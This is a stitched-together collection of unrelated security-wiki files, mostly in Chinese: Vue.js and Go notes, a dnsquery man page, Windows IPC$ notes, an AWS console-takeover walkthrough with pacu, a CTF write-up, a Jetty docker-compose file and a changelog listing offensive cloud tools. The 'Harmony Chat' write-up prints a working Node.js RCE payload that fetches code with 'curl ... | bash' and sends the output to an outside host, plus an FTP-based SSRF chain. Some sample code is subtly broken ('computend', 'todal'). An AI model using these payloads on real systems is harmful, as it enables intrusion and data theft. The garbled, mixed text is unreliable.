<input type="checkbox" id="mike" value="Mike" v-model="checkedNames">
<label for="mike">Mike</label>
<br>
<span>Checked names: {{ checkedNames }}</span>
```
```js
new Vue({
el: '...',
data: {
checkedNames: ['John']
}
})
```
#### 参考：
官网API：https://cn.vuejs.org/v2/api/#v-text
### 修饰符
修饰符（Modifiers）是以半角句号 `.` 指明的特殊后缀，用于指出一个指令应该以特殊方式绑定。
#### `.prevent`
Prevent 修饰符告诉 v-on 指令对于触发的事件调用 `event.preventDefault()`：
```js
<form v-on:submit.prevent="onSubmit"></form>
```
#### `.lazy`
在默认情况下， v-model 在 input 事件中同步输入框的值与数据 (除了 上述 IME 部分)，但你可以添加一个修饰符 lazy ，从而转变为在 change 事件中同步：
```html
<!-- 在 "change" 而不是 "input" 事件中更新 -->
<input v-model.lazy="msg" >
```
#### `.number`
如果想自动将用户的输入值转为 Number 类型（如果原值的转换结果为 NaN 则返回原值），可以添加一个修饰符 number 给 v-model 来处理输入值：
```html
<input v-model.number="age" type="number">
```
#### `.trim`
如果要自动过滤用户输入的首尾空格，可以添加 trim 修饰符到 v-model 上过滤输入：
```html
<input v-model.trim="msg">
```
### 计算属性
```js
data:{
books:[
{name:'Nodejs',price:5,num:3},
{name:'Vue',price:10,num:2},
{name:'React',price:50,num:10},
],
computend:{
totalMoney:function(){
let todal = 0
this.books.forEach(item => total+=item.price*item.num)
return todal
}
}
}
```
**v-on**
可以用 v-on 指令监听 DOM 事件来触发一些 JavaScript 代码
```html
<div id="example-1">
<button v-on:click="counter += 1">增加 1</button>
<p>这个按钮被点击了 {{ counter }} 次。</p>
</div>
```
```js
var example1 = new Vue({
el: '#example-1',
data: {
counter: 0
}
})
```
```html
<h1 v-show='show'>Hello Word</h1>
<button v-on:click='change("hello",$event)'>切换<button>
```
```js
data:{
show:true
}
methods:{
change(text,event){
console.log(text,event)
this.show = !this.show
}
}
```
挂载
```html
<!--<my-chile></my-chile>-->
```
### 过滤器
Vue.js 允许你自定义过滤器，可被用作一些常见的文本格式化。过滤器可以用在两个地方：mustache 插值和 v-bind 表达式。过滤器应该被添加在 JavaScript 表达式的尾部，由“管道”符指示：
```html
<!-- in mustaches -->
{{ message | capitalize }}
<!-- in v-bind -->
<div v-bind:id="rawId | formatId"></div>
```
过滤器函数总接受表达式的值作为第一个参数
```js
new Vue({
// ...
filters: {
capitalize: function (value) {
if (!value) return ''
value = value.toString()
return value.charAt(0).toUpperCase() + value.slice(1)
}
}
})
```
可以同时写2个过滤器
```js
{{ message | filterA | filterB }}
```
过滤器是 JavaScript 函数，因此可以接受参数：
```js
{{ message | filterA('arg1', arg2) }}
```
这里，字符串 'arg1' 将传给过滤器作为第二个参数， arg2 表达式的值将被求值然后传给过滤器作为第三个参数
### 缩写
v- 前缀在模板中是作为一个标示 Vue 特殊属性的明显标识。当你使用 `Vue.js` 为现有的标记添加动态行为时，它会很有用，但对于一些经常使用的指令来说有点繁琐。同时，当搭建` Vue.js` 管理所有模板的 SPA 时，v- 前缀也变得没那么重要了。因此，`Vue.js` 为两个最为常用的指令提供了特别的缩写：
#### v-bind 缩写
```html
<!-- 完整语法 -->
<a v-bind:href="url"></a>
<!-- 缩写 -->
<a :href="url"></a>
```
#### v-on 缩写
```html
<!-- 完整语法 -->
<a v-on:click="doSomething"></a>
<!-- 缩写 -->
<a @click="doSomething"></a>
```
它们看起来可能与普通的 HTML 略有不同，但 `:`与 `@`对于属性名来说都是合法字符，在所有支持 `Vue.js` 的浏览器都能被正确地解析。而且，它们不会出现在最终渲染的标记。
### 参考
- vue文档：[点击进入](https://cn.vuejs.org/v2/guide/syntax.html)
- API文档：[点击进入](https://cn.vuejs.org/v2/api/#指令)
|
sec-knowleage
|
.\"Copyright (c) 1995,1996,1999 by Internet Software Consortium
.\"
.\"Permission to use, copy, modify, and distribute this software for any
.\"purpose with or without fee is hereby granted, provided that the above
.\"copyright notice and this permission notice appear in all copies.
.\"
.\"THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS
.\"ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
.\"OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE
.\"CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
.\"DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
.\"PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
.\"ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
.\"SOFTWARE.
.\"
.Dd 1990年3月10日
.Dt DNSQUERY 1
.Os BSD 4
.Sh NAME(名称)
.Nm dnsquery
.Nd 使用解析程序查询域名服务器
.Sh SYNOPSIS(总览)
.Nm dnsquery
.Op Fl n Ar nameserver
.Op Fl t Ar type
.Op Fl c Ar class
.Op Fl r Ar retry
.Op Fl p Ar period
.Op Fl d
.Op Fl s
.Op Fl v
.Ar host
.Sh DESCRIPTION(描述)
.Ic dnsquery
程序是一个通过BIND解析程序库调用到域名服务器的通用接口.
该程序支持使用一些查询操作码来查询域名服务器.
该程序意在作为程序如nstest,nsquery和nslookup的替换或补充.
所有参数,除了
.Ar host
和
.Ar nameserver
之外都是不区分大小写的.
.Sh OPTIONS(选项)
.Bl -tag -width Fl
.It Fl n Ar nameserver
查询中使用的域名服务器.域名服务器可以表示为
Internet地址格式
.Ar w.x.y.z
也可以表示为域名的形式.
(默认情况:取
.Pa /etc/resolv.conf
中指定的.)
.It Fl t Ar type
所关心的资源记录的类型.类型包括:
.Bl -tag -width "AFSDB " -compact -offset indent
.It Ar A
地址
.It Ar NS
域名服务器
.It Ar CNAME
标准名
.It Ar SOA
起始授权记录
.It Ar WKS
众所周知的服务
.It Ar HINFO
主机信息
.It Ar MINFO
邮箱信息
.It Ar MX
邮件网关
.It Ar RP
负责人信息
.It Ar MG
邮件组成员信息
.It Ar AFSDB
DCE或AFS服务器
.It Ar ANY
所有的信息
.El
.Pp
注意可以使用任意大小写形式.(默认情况:
.Ar ANY . )
.It Fl c Ar class
所关心的资源纪录的等级.
等级包括:
.Bl -tag -width "CHAOS " -compact -offset indent
.It Ar IN
Internet等级
.It Ar HS
Hesiod等级
.It Ar CHAOS
Chaos等级
.It Ar ANY
所有的等级
.El
.Pp
注意可以使用任意大小写形式.(默认情况:
.Ar IN . )
.It Fl r Ar retry
名字服务器无响应下的重试次数.(默认情况: 4.)
.It Fl p Ar period
超时等待的时间周期.(默认情况:
.Dv RES_TIMEOUT . )
.It Fl d
打开调试环境.这会设置
解析程序的
.Ft options
字段的
.Dv RES_DEBUG
位.(默认情况:不作调试.)
.It Fl s
使用
.Em 信息流
而不是信息包的形式.这将对名字服务器使用TCP流连接,而不是
UDP数据报连接.
它会设置
解析程序的
.Ft options
字段的
.Dv RES_USEVC
位.(默认情况:UDP数据报.)
.It Fl v
与
.Dq Fl s
标识同义.
.It Ar host
所关心的主机(或域)的名字.
.El
.Sh FILES(相关文件)
.Bl -tag -width "<arpa/nameser.h> " -compact
.It Pa /etc/resolv.conf
用来获取默认的域名服务器以及搜索列表
.It Pa <arpa/nameser.h>
可用的RR(资源纪录)的类型和等级的列表
.It Pa <resolv.h>
解析程序标识的列表
.El
.Sh DIAGNOSTICS(诊断)
如果解析程序不能响应查询,并且调试环境又没有打开,那么
.Ic dnsquery
会简单地显示如下信息:
.Dl Query failed (rc = 1) : Unknown host
.Pp
返回代码的值由
.Ft h_errno
提供.
.Sh SEE ALSO(另见)
.Xr nslookup 8 ,
.Xr nstest 1 ,
.Xr nsquery 1 ,
.Xr named 8 ,
.Xr resolver 5 .
.Sh AUTHOR(作者)
Bryan Beecher
.Sh BUGS
除了等级
.Ar IN
之外的查询会得到有趣的结果,
因为通常名字服务器只会有针对等级为
.Ar IN
的资源记录的一组根域名服务器.
.Pp
.Ic Dnsquery
通过调用
.Fn inet_addr
来确定针对
.Dq Fl n
选项的参数是否为有效的
Internet地址.不幸的是,
.Fn inet_addr
可能会在判别一些(错误的)IP地址(如1.2.3.4.5)时引发segmentation(分段)
错误.
.Sh "[中文版维护人]"
riser <boomer@ccidnet.com>
.Sh "[中文版最新更新]"
2001/7/13
.Sh "《中国Linux论坛man手册页翻译计划》"
http://cmpp.linuxforum.net
|
sec-knowleage
|
# IPC$(Internet Process Connection)
---
## IPC$ 的概念
IPC`$`(Internet Process Connection) 是共享 "命名管道" 的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限, 在远程管理计算机和查看计算机的共享资源时使用。
利用 IPC`$`，连接者可以与目标主机建立一个连接，利用这个连接，连接者可以得到目标主机上的目录结构、用户列表等信息。(当然, 对方机器必须开了 IPC$ 共享, 否则你是连接不上的)。
---
## IPC$ 与空连接、139、445、默认共享的关系
**IPC$ 与空连接**
不需要用户名与密码的 IPC`$` 连接即为空连接, 一旦你以某个用户或管理员的身份登录 (即以特定的用户名和密码进行 IPC`$` 连接), 自然就不能叫做空连接了.
当你以空连接登录时, 你没有任何权限, 而你以用户或管理员的身份登录时, 你就会有相应的权限.
**IPC$ 与 139,445 端口**
IPC`$` 连接可以实现远程登录及对默认共享的访问; 而 139 端口的开启表示 netbios 协议的应用, 我们可以通过 139,445(win2000) 端口实现对共享文件/打印机的访问, 因此一般来讲, IPC$ 连接是需要 139 或 445 端口来支持的.
注：IPC`$` 连接默认会去走 445 端口，不通的话则会走 139 端口，这两个端口都可以单独实现文件共享
**IPC$ 与默认共享**
默认共享是为了方便管理员远程管理而默认开启的共享 (你当然可以关闭它), 即所有的逻辑盘(c`$`,d`$`,e`$`……) 和系统目录 winnt 或 windows(admin`$`), 我们通过 IPC`$` 连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
可以本地输入 `net share` 查看共享的逻辑盘
---
## 建立远程连接时的用户权限问题
即默认情况下只有域管用户有权限对 admin`$` 目录建立 IPC 连接，其实本地的 Administrator 用户也可以，但是默认情况下该用户是被禁用的，如果启用了该用户，那么也可以使用 Administrator 用户远程连接
---
## IPC$ 连接失败常见错误号
- 错误号 5，拒绝访问
- 很可能你使用的用户不是管理员权限的，先提升权限
- 错误号 51，Windows 无法找到网络路径
- 网络有问题
- 错误号 53，找不到网络路径
- ip 地址错误；目标未开机；目标 lanmanserver 服务未启动；目标有防火墙（端口过滤）
- 错误号 67，找不到网络名
- 你的 lanmanworkstation 服务未启动；目标删除了 ipc$；
- 错误号 1219，提供的凭据与已存在的凭据集冲突
- 你已经和对方建立了一个 ipc$，请删除后再连
- 错误号 1326，未知的用户名或错误密码
- 错误号 1385，登录失败：未授予用户在此计算机上的请求登录类型
- 情况 1：可能是你在 “拒绝从网络访问这台计算机” 功能中拒绝了该用户的访问，解决方法如下：开始 -->运行 -->gpedit.msc 计算机配置 -->Windows 设置 -->安全设置 -->本地策略 -->用户权利指派 -->拒绝从网络访问这台计算机 -->删除你要正常连接的用户
- 情况 2：
- (1)网络访问为：经典
- (2)来宾账户状态：已启用，
- (3)拒绝从网络访问这台计算机里有 Guest 用户或组
- (4)你执行 net use \\xxx.xxx.xxx.xxx\IPC`$` "123456" /user:"xxx" 输入的用户名是随便输入的，这时也会遇到这个错误信息，因为当你连接的用户不存在时，net use 会默认用 Guest 用户来进行连接，而 Guest 用户已拒绝从网络访问，所以也会出现这种错误
- 错误号 1792，试图登录，但是网络登录服务没有启动
- 目标 NetLogon 服务未启动[连接域控会出现此情况]
- 错误号 2242，此用户的密码已经过期
- 目标有帐号策略，强制定期要求更改密码
|
sec-knowleage
|
---
title: AWS 控制台接管
---
<center><h1>AWS 控制台接管</h1></center>
---
如果拿到了 AWS 凭证，可以进行控制台的接管，这里以 pacu 工具为例。
> 关于 AWS 凭证的获取可以看 [EC2 所面临的风险](/CloudService/EC2/) 部分的内容
pacu 工具里包含了很多 AWS 利用模块，首先使用 set_keys 命令将刚才获取到的 key 值添加到工具里。
</br><img width="600" src="/img/1649997441.png"></br>
接下来输入 console 命令，得到一个 URL。
</br>
<img width="600" src="/img/1649997451.png"></br>
将该 URL 粘贴到浏览器，就可以访问到目标的控制台了，这时就可以做很多操作了，比如连接到实例上执行命令。
</br>
<img width="1200" src="/img/1649997471.png"></br>
在 pacu 下使用 list 还可以查看到其他的模块，例如使用`run ec2__enum`可以枚举出当前账号下的所有的 EC2
</br>
<img width="500" src="/img/1649997486.png"></br>
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
# Harmony Chat [283 points] (27 solves)
Files:
- This challenge provided a [link](http://harmony-1.hackable.software:3380/) and source ([harmony.zip](https://storage.googleapis.com/dragonctf-prod/harmony_301f77ba9efff83a832c0a31886c8d4a7aae39de1b9b3126fef5c7d4815b515f/harmony.zip))
## Part 0: research
At first sight, the challenge looks like an IRC-like chat, where you can log in with your name and send messages.
The web app also allowed for downloading logs via HTTP and FTP, which seemed exploit-worthy to us.
Upon inspecting the source code, we found a very obscure, yet common-sounding library called [`javascript-serializer`](https://github.com/wix-incubator/javascript-serializer), which can serialize and deserialize classes and an endpoint for sending CSP report, which was restricted for localhost:
```javascript
const handleReport = (req, res) => {
let data = Buffer.alloc(0)
req.on("data", chunk => {
data = Buffer.concat([data, chunk])
})
req.on("end", () => {
res.status(204).end()
if (!isLocal(req)) {
return
}
try {
const report = utils.validateAndDecodeJSON(data, REPORT_SCHEMA)
console.error(generateTextReport(report["csp-report"]))
} catch (error) {
console.warn(error)
return
}
})
}
```
Considering that the `validateAndDecodeJSON` function returns data parsed by the library mentioned above, we realized it could lead to a simple RCE exploit, as you could just pass a "serialized" `Function` class with function body.
## Part 1: crafting an exploit
It turned out that in newer versions, the `Function()` constructor in Node.js is somehow sandboxed, without most things like `require`. One of the ways of getting around it is using weird internal functions, in our case it was `process.binding('spawn_sync')` to spawn a process.
Here's the exploit we ended up using:
```javascript
process.binding('spawn_sync').spawn({
file: '/bin/bash',
args: [
'/bin/bash', '-c', 'curl -d \"$(curl https://%REDACTED% | bash)\" https://%REDACTED%/'
],
stdio: [
{type:'pipe',readable:!0,writable:!1},
{type:'pipe',readable:!1,writable:!0},
{type:'pipe',readable:!1,writable:!0}
]});
```
In short, the exploit connects to some server, executes code from it and sends output via POST to another server.
After minifying the code and putting it into JSON, we started to search for a property we could exploit. As most of the properties were defined in the schema to be strings, it wouldn't be possible to put the object into them. Hopefully, there have been some optional properties which were not defined in the schema, but were evaluated in the code. We decided to use `script-sample`, because it was one of the optional properties and wasn't handled in any special way, just printed.
```javascript
const generateTextReport = report => {
...
if (report["script-sample"]) {
text += `Sample : ${report["script-sample"]}\n`
}
...
}
```
## Part 2: SSRF
In the meantime, we started to look for a SSRF exploit, because the CSP report endpoint was being limited only to localhost. We realized that because of the FTP server, we could craft such "chat log" that would be a valid HTTP request, then send that file via FTP active mode to `127.0.0.1:3380`.
Fortunately, the only limitations were:
- the line must have `: ` after 0-30 characters (length of the username)
- the line must be less than 2080 characters long (30 for the username, 2 for the `: ` and 2048 for the content)
The HTTP request we came up with:
```
POST /csp-report?: HTTP/1.1
Host: 127.0.0.1
Content-Length: 527
Content-Type: application/csp-report
{"csp-report":{"blocked-uri":""(...)
```
Note the `?:` part in the path - it's needed because of the first limitation.
Having that, we've created a [script](https://github.com/p4-team/ctf/blob/master/2020-11-20-dragonctf/harmony_chat/send.py) for crafting the file on the server, which basically creates new users and joins the same channel, then prints the link to the chat log it created.
## Part 3: actual exploiting
After all that, triggering the actual exploit was as simple as this:
(`13,52` = `(13*256)+52` = `3380`)
```
$ nc harmony-1.hackable.software 3321
220 FTP server (nodeftpd) ready
USER f24090d4641cb9b776c2bd5b05446c9d
331 User name okay, need password.
PASS x
230 User logged in, proceed.
PORT 127,0,0,1,13,52
200 OK
RETR 848800924e2316585788974dc12dbbcf
150 Opening ASCII mode data connection
226 Closing data connection, sent 636 bytes
```
|
sec-knowleage
|
# 格式化输出
---
**Source & Reference**
- http://c.biancheng.net/view/41.html
---
格式化在逻辑中非常常用.使用格式化函数，要注意写法:
```
fmt.Sprintf(格式化样式, 参数列表…)
```
- 格式化样式:字符串形式，格式化动词以 % 开头.
- 参数列表:多个参数以逗号分隔，个数必须与格式化样式中的个数一一对应，否则运行时会报错.
```go
var progress = 2
var target = 8
// 两参数格式化
title := fmt.Sprintf("已采集%d个药草, 还需要%d个完成任务", progress, target)
fmt.Println(title)
pi := 3.14159
// 按数值本身的格式输出
variant := fmt.Sprintf("%v %v %v", "月球基地", pi, true)
fmt.Println(variant)
// 匿名结构体声明, 并赋予初值
profile := &struct {
Name string
HP int
}{
Name: "rat",
HP: 150,
}
fmt.Printf("使用'%%+v' %+v\n", profile)
fmt.Printf("使用'%%#v' %#v\n", profile)
fmt.Printf("使用'%%T' %T\n", profile)
```
代码输出如下:
```
已采集2个药草, 还需要8个完成任务
"月球基地" 3.14159 true
使用'%+v' &{Name:rat HP:150}
使用'%#v' &struct { Name string; HP int }{Name:"rat", HP:150}
使用'%T' *struct { Name string; HP int }C语言中, 使用%d代表整型参数
```
下表中标出了常用的一些格式化样式中的动词及功能.
```
%v 按值的本来值输出
%+v 在 %v 基础上，对结构体字段名和值进行展开
%#v 输出 Go 语言语法格式的值
%T 输出 Go 语言语法格式的类型和值
%% 输出 % 本体
%b 整型以二进制方式显示
%o 整型以八进制方式显示
%d 整型以十进制方式显示
%x 整型以十六进制方式显示
%X 整型以十六进制、字母大写方式显示
%U Unicode 字符
%f 浮点数
%p 指针，十六进制方式显示
```
|
sec-knowleage
|
# Default Credentials
## Introduction
A Default Credential vulnerability is a type of vulnerability in a computing device that most commonly affects devices having some pre-set (default) administrative credentials to access all configuration settings.
## How to find
1. Find out type of CMS / Software is used by the website you are testing, for example the website is using grafana
2. Find the admin login
3. Find the information about default credential using repositories below
## Useful Repositories
- [@ihebski](https://github.com/ihebski/DefaultCreds-cheat-sheet)
- [@many-passwords](https://github.com/many-passwords/many-passwords)
## References
- [OWASP 04-Authentication Testing](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/02-Testing_for_Default_Credentials)
- [HackerOne #398797](https://hackerone.com/reports/398797)
|
sec-knowleage
|
version: '2.2'
services:
web:
image: vulhub/jetty:9.4.40
ports:
- "8080:8080"
volumes:
- ./src:/opt/jetty/webapps/ROOT
|
sec-knowleage
|
---
title: 更新日志
---
<center><h1>更新日志</h1></center>
---
## 2023.8.18
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「苏打养乐多」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/cloudsecurityresources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>青云官方 CLI 工具</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「苏打养乐多」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.7.16
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「曾哥」师傅补充的文库信息，感谢「曾哥」师傅贡献的以下文章：
<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《云业务 AccessKey 标识特征整理》<a href="/CloudService/more" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「曾哥」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.7.15
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「DVKunion」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/cloudsecurityresources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>云原生实验室博客</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「DVKunion」师傅，感谢支持<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>AWS 攻击知识库 WeirdAAL (英文)</li>
<li>云安全资讯（英文）</li>
<li>云原生实验室博客</li>
<li>云计算市场资讯（英文）</li>
<li>TeamsSix</li>
<li>0xd4y</li>
<li>Andy Robbins</li>
<li>Beau Bullock</li>
<li>Chris Farris</li>
<li>Christophe Tafani-Dereeper</li>
<li>Dirk-jan</li>
<li>Dr. Nestori Syynimaa</li>
<li>Emilien Socchi</li>
<li>Fabian Bader</li>
<li>gafnit</li>
<li>inversecosᵘʷᵘ</li>
<li>Jason Ostrom</li>
<li>Joosua Santasalo</li>
<li>Karl</li>
<li>Kfzz1</li>
<li>Liv Matan</li>
<li>Marco Lancini</li>
<li>Melvin langvik</li>
<li>Merill</li>
<li>mx7krshell</li>
<li>Nathan McNulty</li>
<li>Nick Frichette</li>
<li>Nikhil Mittal</li>
<li>Nir Ohfeld</li>
<li>Rhino Security Labs</li>
<li>Roberto Rodriguez</li>
<li>rootsecdev</li>
<li>rvrsh3ll</li>
<li>Ryan Hausknecht</li>
<li>Sami Lamppu</li>
<li>Sean Metcalf</li>
<li>Seth Art</li>
<li>Shir Tamari</li>
<li>Skyworship</li>
<li>Thomas Naunheim</li>
<li>AWS 认证解决方案架构师-助理 AWS Certified Solutions Architect – Associate</li>
<li>Azure 基础知识认证 Azure Fundamentals</li>
<li>GCP 云工程师助理 Associate Cloud Engineer</li>
<li>Kubernetes 认证安全专家 Certified Kubernetes Security Specialist (CKS)</li>
<li>阿里云专业工程师 Alibaba Cloud Certified Professional (ACP)</li>
<li>阿里云云计算架构师 Alibaba Cloud Certified Expert - Cloud Computing (ACE)</li>
<li>基础设施关系绘制工具 Cartography</li>
<li>适用于 AWS 和 Azure 的扫描工具 SkyArk</li>
<li>权限升级路径分析工具 PurplePanda</li>
<li>云上攻击模拟工具 Leonidas</li>
<li>开源的轻量级云管平台 CloudExplorer Lite</li>
<li>红队云操作系统 RedCloudOS/li>
<li>云服务枚举工具 cloud service enum</li>
<li>AWS 文档 GPT 工具</li>
<li>AWS 官方 CLI 工具</li>
<li>AWS 环境分析工具 CloudMapper</li>
<li>AWS 常见配置错误审计工具 YATAS</li>
<li>Route53/CloudFront 漏洞评估工具</li>
<li>检测多云环境中存在 dangling DNS 记录的工具 findmytakeover</li>
<li>Azure 官方 CLI 工具</li>
<li>Azure MFA 检测工具</li>
<li>Azure AD 和 Office 365 的 PowerShell 管理模块 AADInternals</li>
<li>GCP 官方 CLI 工具</li>
<li>GCP 资源枚举工具</li>
<li>GCP 攻击面资源枚举工具</li>
<li>GCP 资源分析工具 Hayat</li>
<li>GCP IAM 权限收集工具 gcp-iam-collector</li>
<li>Google Workspace 目录转储工具 Google Workspace Directory Dump Tool</li>
<li>阿里云官方 CLI 工具</li>
<li>腾讯云官方 CLI 工具</li>
<li>华为云 OBS 官方管理工具 OBS Browser+</li>
<li>天翼云对象存储连接工具</li>
<li>AWS 渗透工具集 aws-pentest-tools</li>
<li>AWS Lambda 密码喷洒工具 CredKing</li>
<li>AWS 渗透测试工具 Endgame</li>
<li>AWS 红队利用脚本 Redboto</li>
<li>AWS 域控卷影拷贝工具 CloudCopy</li>
<li>Azure 安全评估 PowerShell 工具包 MicroBurst</li>
<li>Azure AD 利用工具集 ROADtools</li>
<li>枚举、喷洒、渗透 O365 AAD 帐户工具 TeamFiltration</li>
<li>Azure JWT 令牌操作工具集 TokenTactics</li>
<li>Microsoft 365 安全工具箱 DCToolbox</li>
<li>滥用 Microsoft 365 OAuth 授权流程进行网络钓鱼攻击的概念验证脚本 Microsoft365_devicePhish</li>
<li>Azure AD 身份保护 Cookie 重放测试工具</li>
<li>GCP 利用工具集</li>
<li>GCP Bucket 枚举工具 GCPBucketBrute</li>
<li>GCP Token 复用工具</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.7.9
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「zunlongzhou」师傅补充的文库信息，感谢「zunlongzhou」师傅补充文章 <a href="/cloudnative/docker/docker-use-notes.html" target="_blank">《Docker 使用笔记》</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「zunlongzhou」师傅，感谢支持<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《WIZ IAM 挑战赛 Writeup》<a href="/cloudservice/iam/the_big_iam_challenge_writeup.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「Ma1tobiose」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/cloudsecurityresources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>开源的云原生安全平台 HummerRisk</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「Ma1tobiose」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.7.5
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>CF 使用手册增加 CF 更新日志页面，详见：<a href="/CF/Changelog" target="_blank"> CF 更新日志 </a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>CF 使用手册增加 CF 答疑页面，详见：<a href="/CF/More/cfQA.html" target="_blank"> CF 使用答疑 </a><br/>
</p>
</a-timeline-item>
<a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《聊聊我为什么选择云安全》<a href="/About/why_i_choose_cloud_security.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.7.1
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>CF 发布 0.5.0 版本，更新内容详见 <a href="/CF/Changelog/v0_5_0.html" target="_blank"> CF 云环境利用框架现已更新至 0.5.0 版本 </a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.6.9
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>更新<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>板块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>常规云服务业务侧攻防视角研究</li>
<li>记一次打穿云上内网的攻防实战</li>
<li>云原生之 Kubernetes 安全</li>
<li>RCE 进入内网接管 K8s 并逃逸进 xx 网</li>
</ul>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「k.so」师傅补充的文库信息，感谢「k.so」师傅贡献的以下文章：
<br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《RCE 进入内网接管 K8s 并逃逸进 xx 网》<a href="/CloudNative/Kubernetes/k8s-practical-exercise-1.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item><a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>文库<a href="/" target="_blank"> 首页 </a>贡献者添加「k.so」师傅，感谢支持<br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.6.4
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《CF 云环境利用框架最佳实践》<a href="/cf/cases/cf_best_practices.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.5.17
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「cr」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>在线免费的 AWS 渗透测试靶场 Free AWS Security Labs</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.5.13
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="blue">新增文章</a-tag>《获取无法直接执行命令的 Windows 实例权限》<a href="/CloudService/EC2/get-ecs-windows-permission.html" target="_blank">文章地址</a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.4.29
<p></p>
<br>
<template>
<a-timeline>
<a-timeline-item>
<p>
<a-tag color="green">文库动态</a-tag>CF 发布 v0.4.5 版本，更新<a href="/cf/" target="_blank"> CF 使用手册 </a><br/>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.3.16
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
<a-tag color="red">收到补充</a-tag>收到「Kfzz1」师傅补充的文库信息，感谢支持，补充内容详情请见<a href="/CloudSecurityResources/" target="_blank"> 云安全资源 </a>版块，补充信息摘要如下：<br/>
<br/>
<ul>
<li>CI/CD 靶场部署工具</li>
<li>GCP 靶场部署工具 GCPGoat</li>
</ul>
</p>
</a-timeline-item>
</a-timeline>
</template>
## 2023.3.9
<p></p>
<br>
<template>
<a-timeline><a-timeline-item>
<p>
